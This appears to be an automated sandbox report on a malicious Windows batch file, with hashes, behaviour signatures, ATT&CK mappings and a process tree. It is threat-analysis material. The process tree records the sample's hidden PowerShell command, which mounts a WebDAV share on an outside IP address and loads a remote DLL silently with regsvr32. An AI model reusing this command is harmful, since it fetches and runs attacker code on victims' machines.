02c51e814fa86458ff001de22fbdac40fe9bc061bad17f2d5b3413e94e294c49

Analysis

max time kernel
103s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 19:32

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General

Target

137666011097431048.bat
Size

17KB
MD5

460cf189d3881e67b4beb1e60c25d62e
SHA1

9c62c41fd33fab8d8fc3dd812015c897b64f371e
SHA256

02c51e814fa86458ff001de22fbdac40fe9bc061bad17f2d5b3413e94e294c49
SHA512

19ef3e622e9ccf21e99582c57986e995a45d1cc0862a8ec6489d2ca23e84432fe73e75145f88b273a232ef84e46c395f5673d5c08d79dcc9ecef7ab4a80d5ad6
SSDEEP

384:HhsoPhYNe1LpdAY88KY88nc0h9oKUsXVsibks7LcURaC3EED:BsopSSdAY88KY88njcx4VPqURAg

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4160	wordpad.exe
4160	wordpad.exe
4160	wordpad.exe
4160	wordpad.exe
4160	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 4160	4564	cmd.exe	85
PID 4564 wrote to memory of 4160	4564	cmd.exe	85
PID 4564 wrote to memory of 3460	4564	cmd.exe	87
PID 4564 wrote to memory of 3460	4564	cmd.exe	87
PID 3460 wrote to memory of 4908	3460	powershell.exe	89
PID 3460 wrote to memory of 4908	3460	powershell.exe	89
PID 3460 wrote to memory of 100	3460	powershell.exe	90
PID 3460 wrote to memory of 100	3460	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\137666011097431048.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\43263145819989.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4908
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\43263145819989.dll
    3⤵
    PID:100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1tqdgpg.doi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3460-2-0x00000204A9660000-0x00000204A9682000-memory.dmp

Filesize
136KB

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